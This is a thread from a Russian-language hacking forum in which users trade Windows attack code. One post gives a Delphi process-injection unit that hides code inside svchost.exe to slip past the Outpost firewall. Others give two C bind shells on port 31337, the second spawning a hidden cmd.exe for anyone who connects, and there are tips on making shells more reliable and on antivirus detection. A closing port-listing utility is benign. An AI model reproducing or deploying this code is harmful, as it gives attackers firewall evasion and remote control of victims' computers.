W!z@rD это он написал че за студией пользовался. А винапи он и в африке винапи - любой норм. компилер скомпилит. [sorry, тока 1. стр.читал]
ИМХО отсутствие любого импорта выглядит ещё подозрительней, лучше уж сразу PE-компрессором неподдержываемой версии претворяться и импортировать через GetProcAddress)))
Вот код который позволяет обходить outpost. Часть кода была взята из статьи MS-REM'a Я его чуть оформил в виде модуля. В принципе легко его перписать на любой язык. Пробывал на Outpost 3.5 Работает всё нормально. Даже outpost не выдает предупреждений о нарушении памяти процесса. Code: unit df; interface uses Windows,Sysutils; procedure mains(path:pointer); // безопасный запуск процедуры. path - адресс процедуры implementation var si:TStartupInfo; pi:TProcessInformation; procedure mains(path:pointer); // основная функция для прекрепления кода прочедуры к SVCHOST'у var InjectSize: dword; Code: pointer; Injected: pointer; BytesWritten: dword; Context: _CONTEXT; begin ZeroMemory(@St, SizeOf(TStartupInfo)); St.cb := SizeOf(TStartupInfo); St.wShowWindow := SW_SHOW; //запускаем процесс, которому разрешено лезть на 80 порт CreateProcess(nil, pansichar(windir+'\system32\svchost.exe'), nil, nil, false,CREATE_SUSPENDED, nil, nil, St, Pr); Code:=pointer(GetModuleHandle(nil)); InjectSize:=PImageOptionalHeader(pointer(integer(Code)+PImageDosHeader(Code)._lfanew+SizeOf(dword)+SizeOf(TImageFileHeader))).SizeOfImage; //выделяем память в процессе Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); //внедряем код WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten); //изменяем контекст нити Context.ContextFlags:=CONTEXT_FULL; GetThreadContext(Pr.hThread, Context); Context.Eip:=dword(path); // путь к функции SetThreadContext(Pr.hThread, Context); //запускаем процесс ResumeThread(Pr.hThread); end; begin end.
slesh, ну это аутпост молчит) обычно с фаером стоит и антивирь, вот, например, KAV такое дело палит на ура
Кстати, было бы неплохо сделать в шелле не просто перенаправление hStdInput/hStdOUtput в сокет (часто глючит), а нормальную двухпоточную организацию пайпа. Типа CreatePipe, хендлы передать в hStdInput/hStdOutput, потом следить за пайпом и передавать все оттуда в сокет. другой поток следит за сокетом и передает это в пайп. У меня так сделано в том шелле, что я выложил в ЛоА.
2 _Great_ на счет простого перенаправления ты прав. Сам частенько замечаю что частень не пашет. Зато размер маленьких
вот есть небольшой бинд шелл(взятый с Hell Knights Crew): Code: #include <winsock2.h> #include <windows.h> DWORD WINAPI InitWinSock2API(){ WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData); return 0; } DWORD WINAPI Backdoor_Recv(LPVOID lpParam){ DWORD WINAPI ClientSend(char * data, socket sock){ send(sock, data, lstrlen(data),0); closesocket(sock); ZeroMemory (&data, sizeof(data)); return 0; } SOCKET sock=(SOCKET)lpParam; char recvbuffer[1024]; int ret, freq, times, rand1, rand2; while(1){ ZeroMemory (&recvbuffer, sizeof(recvbuffer)); ret = recv(sock, recvbuffer, 1024, 0); if (ret == SOCKET_ERROR) break; else if(lstrlen(recvbuffer) > 0){ char * array[1024]; char * t = strtok(recvbuffer,"ђ"); int i; int portint; for(i = 0; t; t = strtok(NULL,"ђ"), i++){ array[i] = t; } if (lstrcmp(array[0], "login:password")==0){ if (lstrcmp(array[1], "msgbox")==0){ char * msg = array[2]; // получаем 2 и 3 элемент массива char * title = array[3]; // и заголовок messagebox. MessageBox(0,msg,title,0); // выводим messagebox. ClientSend("messagebox ok", sock); } // пример вашей команды: // else if(lstrcmp(array[1], "ваша_команда")==0) // { // ... // } else{ // отсылаем клиенту сообщение "unknown command" ClientSend("unknown command", sock); } } else { ClientSend("authorization failed", sock); } } } return 0; } DWORD WINAPI Backdoor_Listen(short port){ SOCKET server, client; // сокеты для клиента и сервера SOCKADDR_IN localaddr, clientaddr; // структуры для клиента и сервера HANDLE hThread; // хэндл потока int clientSize=sizeof(clientaddr); server=socket(AF_INET, SOCK_STREAM, IPPROTO_IP); localaddr.sin_addr.s_addr=htonl(INADDR_ANY);// любом сетевом интерфейсе; localaddr.sin_family=AF_INET; // работаем с интернетом; localaddr.sin_port=htons(port); // присвайваем порт; bind(server, (struct sockaddr *)&localaddr, sizeof(localaddr)); listen(server, SOMAXCONN); while(1){ client=accept(server,(struct sockaddr *)&clientaddr,&clientSize); hThread = StartThread(Backdoor_Recv,(LPVOID)client); CloseHandle(hThread); } closesocket(server); // закрываем сокет return 0; } HANDLE WINAPI StartThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID param){ DWORD lpThreadId; return CreateThread(NULL, NULL, lpStartAddress, param, NULL, &lpThreadId); } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){ InitWinSock2API(); // инициализируем WinSock2 API Backdoor_Listen(31337); // Ставим порт на прослушку и подключаем клиентов: // WSACleanup(); // по завершению работы заканчиваем работу с Winsock2 } почему сия прелесть не компилится Microsoft VC++ Studio 2003 ? пишет вот это: main.cpp(13): error C2061: syntax error : identifier 'socket' main.cpp(13): error C2601: 'ClientSend' : local function definitions are illegal main.cpp(38): error C2660: 'ClientSend' : function does not take 2 arguments main.cpp(48): error C2660: 'ClientSend' : function does not take 2 arguments main.cpp(51): error C2660: 'ClientSend' : function does not take 2 arguments main.cpp(80): error C3861: 'StartThread': identifier not found, even with argument-dependent lookup main.cpp(89): error C2365: 'StartThread' : redefinition; previous definition was a 'formerly unknown identifier'
Там где ты проверяешь трубу тоесть KePeekNamedPipe там нада сделать в цыкле потому что мах обем с трубы 0xFFF (4095) а если больше то не весь буфер передаст ну короче (зайди этим шелом в system32 например )
а можно чуть чуть подробнее ато не совсем догоняю... и это у тебя компилицца? ато у меня совсем что то не то.........
Mini-bindshell-2 (с реконнектом) Теже 2кб на выходе. Code: #include "winsock2.h" #pragma comment(linker,"/SECTION:.text,EWR") #pragma comment(linker,"/ENTRY:WinMain") #pragma comment( linker, "/defaultlib:ws2_32.lib" ) DWORD WINAPI ClientURA(HANDLE HCmd); DWORD WINAPI ClientURA( HANDLE HCmd ) { STARTUPINFO st; PROCESS_INFORMATION pt; st.cb = sizeof(STARTUPINFO); st.lpReserved = NULL; st.lpTitle = NULL; st.lpDesktop = NULL; st.lpReserved2 = NULL; st.cbReserved2 = 0; st.wShowWindow = SW_HIDE; st.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; st.hStdInput = HCmd; st.hStdOutput = HCmd; st.hStdError = HCmd; CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&st,&pt); CloseHandle(HCmd); CloseHandle(pt.hProcess); CloseHandle(pt.hThread); return 0; } int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){ int sock; SOCKET AcceptS; struct sockaddr_in s; WSADATA wsa; WSAStartup( MAKEWORD( 2, 2 ), &wsa ); sock = WSASocketA(PF_INET,SOCK_STREAM,0,NULL,0,0); s.sin_family = AF_INET; s.sin_addr.s_addr = htonl( INADDR_ANY); s.sin_port = htons( 31337 ); bind(sock,(SOCKADDR*)&s,sizeof(s)); int i; char type[2], buf[126]; listen( sock, 0 ); while (1){ AcceptS = accept(sock,NULL,NULL); CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)ClientURA, (LPVOID)AcceptS, NULL, NULL ); } return 0; }
Меня знакомый недавно просил как смотреть открытые порты, как я ему не объяснял он так и не смог посмотреть их Накодил прогу ему быстренько. Показывает открытые TCP и UDP порты на машине с процессом который сообтвествует открытому порту. Не пинайте за то что так всё криво и лишние хедеры висят, мне лень править. Да и процессы тоже криво определяет по pid ну короче может кому то и сгодится. Code: #include <Winsock2.h> #include <windows.h> #include <stdio.h> #include <Iphlpapi.h> #include <conio.h> #include <Tlhelp32.h> #include <psapi.h> #pragma comment ( lib, "Iphlpapi.lib" ) #pragma comment ( lib, "Ws2_32.lib" ) #pragma comment ( lib, "psapi.lib" ) typedef struct _MIB_TCPROW_EX { DWORD dwState; // MIB_TCP_STATE_* DWORD dwLocalAddr; DWORD dwLocalPort; DWORD dwRemoteAddr; DWORD dwRemotePort; DWORD dwProcessId; } MIB_TCPROW_EX, *PMIB_TCPROW_EX; typedef struct _MIB_TCPTABLE_EX { DWORD dwNumEntries; MIB_TCPROW_EX table[ANY_SIZE]; } MIB_TCPTABLE_EX, *PMIB_TCPTABLE_EX; typedef struct _MIB_UDPROW_EX { DWORD dwLocalAddr; DWORD dwLocalPort; DWORD dwProcessId; } MIB_UDPROW_EX, *PMIB_UDPROW_EX; typedef struct _MIB_UDPTABLE_EX { DWORD dwNumEntries; MIB_UDPROW_EX table[ANY_SIZE]; } MIB_UDPTABLE_EX, *PMIB_UDPTABLE_EX; typedef DWORD (WINAPI *PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)(PMIB_TCPTABLE_EX*,BOOL,HANDLE,DWORD,DWORD); PROCALLOCATEANDGETTCPEXTABLEFROMSTACK lpfnAllocateAndGetTcpExTableFromStack = NULL; typedef DWORD (WINAPI *PROCALLOCATEANDGETUDPEXTABLEFROMSTACK)(PMIB_UDPTABLE_EX*,BOOL,HANDLE,DWORD,DWORD); PROCALLOCATEANDGETUDPEXTABLEFROMSTACK lpfnAllocateAndGetUdpExTableFromStack = NULL; TCHAR *PrintProcessNameAndID( DWORD processID ) { TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>"); // Get a handle to the process. HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID ); // Get the process name. if (NULL != hProcess ) { HMODULE hMod; DWORD cbNeeded; if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) ) { GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) ); } } CloseHandle( hProcess ); return (TCHAR *)&szProcessName; } int main() { PMIB_TCPTABLE_EX pTcpTableEx; PMIB_UDPTABLE_EX pUdpTableEx; DWORD dwSize = 0,dwSizeUDP = 0; DWORD i = 0,j = 0; DWORD dwTcpErr,dwUdpErr; DWORD pid; char *ip_ptr,*ip_udp_ptr; unsigned short *port_ptr,*port_udp_ptr; HMODULE hMudule; hMudule = LoadLibrary("Iphlpapi.dll"); if(hMudule == NULL) return 0; lpfnAllocateAndGetTcpExTableFromStack = (PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)GetProcAddress(hMudule,"AllocateAndGetTcpExTableFromStack"); lpfnAllocateAndGetUdpExTableFromStack = (PROCALLOCATEANDGETUDPEXTABLEFROMSTACK)GetProcAddress(hMudule,"AllocateAndGetUdpExTableFromStack"); if (lpfnAllocateAndGetTcpExTableFromStack == NULL) return 0; if (lpfnAllocateAndGetUdpExTableFromStack == NULL) return 0; pTcpTableEx = (MIB_TCPTABLE_EX *) malloc(sizeof(MIB_TCPTABLE_EX)); if(pTcpTableEx == NULL){ printf("Can't allocate memory."); GlobalFree(pTcpTableEx); } pUdpTableEx = (MIB_UDPTABLE_EX *) malloc(sizeof(MIB_UDPTABLE_EX)); if(pUdpTableEx == NULL){ printf("Can't allocate memory."); GlobalFree(pUdpTableEx); } dwTcpErr = lpfnAllocateAndGetTcpExTableFromStack(&pTcpTableEx,TRUE,GetProcessHeap(),0,2); dwUdpErr = lpfnAllocateAndGetUdpExTableFromStack(&pUdpTableEx,TRUE,GetProcessHeap(),0,2); if(dwTcpErr == ERROR_SUCCESS) { printf("\n\nOpened TCP Ports\n"); printf("----------------\n\n"); for(i=0; i<pTcpTableEx->dwNumEntries;i++) { ip_ptr = (char *)&pTcpTableEx->table[i].dwLocalAddr; port_ptr = (unsigned short *)&pTcpTableEx->table[i].dwLocalPort; pid = pTcpTableEx->table[i].dwProcessId; if(pid == 4) { printf("%s:%ld <---> System\n",inet_ntoa(*(struct in_addr *)ip_ptr),htons(*port_ptr)); } else { printf("%s:%ld <---> %s\n",inet_ntoa(*(struct in_addr *)ip_ptr),htons(*port_ptr),PrintProcessNameAndID(pid)); } } } if(dwUdpErr == ERROR_SUCCESS) { printf("\n\nOpened UDP Ports\n"); printf("----------------\n\n"); for(i=0; i<pUdpTableEx->dwNumEntries;i++) { ip_udp_ptr = (char *)&pUdpTableEx->table[i].dwLocalAddr; port_udp_ptr = (unsigned short *)&pUdpTableEx->table[i].dwLocalPort; pid = pUdpTableEx->table[i].dwProcessId; if(pid == 4) { printf("%s:%ld <---> System\n",inet_ntoa(*(struct in_addr *)ip_udp_ptr),htons(*port_udp_ptr)); } else { printf("%s:%ld <---> %s\n",inet_ntoa(*(struct in_addr *)ip_udp_ptr),htons(*port_udp_ptr),PrintProcessNameAndID(pid)); } } } printf("\n\nPress any key to exit..."); _getch(); return 0; }
Блин а я думал просто опенсорс. Выкладываем проекты. Ну ладно потрут и перенесут я думаю Прогнал немного